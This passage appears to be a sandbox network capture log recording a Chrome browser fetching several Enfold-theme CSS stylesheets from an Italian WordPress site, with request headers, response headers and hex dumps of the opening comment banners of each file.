14	192.168.2.16	49733	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:13 UTC	644	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contentslider/contentslider.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:14 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:13 GMT Content-Type: text/css Content-Length: 2717 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:14 UTC	2717	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 50 61 72 74 6e 65 72 2f 4c 6f 67 6f 20 53 6c 69 64 65 72 20 2b 20 43 6f 6e 74 65 6e 74 20 53 6c 69 64 65 72 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Partner/Logo Slider + Content Slider================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49732	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:13 UTC	636	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/countdown/countdown.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:14 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:13 GMT Content-Type: text/css Content-Length: 2124 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:14 UTC	2124	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 43 6f 75 6e 74 64 6f 77 6e 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Countdown===========================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49735	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:13 UTC	632	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery/gallery.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:14 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:13 GMT Content-Type: text/css Content-Length: 2435 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:14 UTC	2435	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 47 61 6c 6c 65 72 79 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Gallery=============================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49734	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:13 UTC	654	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery_horizontal/gallery_horizontal.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:14 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:13 GMT Content-Type: text/css Content-Length: 4006 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:14 UTC	4006	IN	Data Raw: 0a 0a 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 48 6f 72 69 7a 6f 6e 74 61 6c 20 47 61 6c 6c 65 72 79 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Horizontal Gallery================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49736	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:13 UTC	640	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/google_maps/google_maps.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:14 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:14 GMT Content-Type: text/css Content-Length: 2104 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:14 UTC	2104	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0d 0a 47 4f 4f 47 4c 45 20 4d 41 50 53 0d 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================GOOGLE MAPS=======================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49737	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:14 UTC	634	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/grid_row/grid_row.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:14 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:14 GMT Content-Type: text/css Content-Length: 1178 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:14 UTC	1178	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0d 0a 4c 61 79 6f 75 74 20 47 72 69 64 20 2b 20 43 65 6c 6c 73 0d 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Layout Grid + Cells===============================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49738	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:14 UTC	632	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/heading/heading.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:15 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:14 GMT Content-Type: text/css Content-Length: 3211 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:15 UTC	3211	IN	Data Raw: 0a 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 48 45 41 44 49 4e 47 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================HEADING============================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49739	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:14 UTC	650	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/headline_rotator/headline_rotator.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:15 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:15 GMT Content-Type: text/css Content-Length: 1920 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:15 UTC	1920	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 54 65 78 74 20 52 6f 74 61 74 6f 72 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Text Rotator========================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49741	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:14 UTC	622	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/hr/hr.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:15 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:15 GMT Content-Type: text/css Content-Length: 2265 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:15 UTC	2265	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 48 52 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================HR==================================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49740	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:14 UTC	626	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icon/icon.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:15 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:15 GMT Content-Type: text/css Content-Length: 2479 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:15 UTC	2479	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 49 43 4f 4e 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================ICON================================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49743	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe
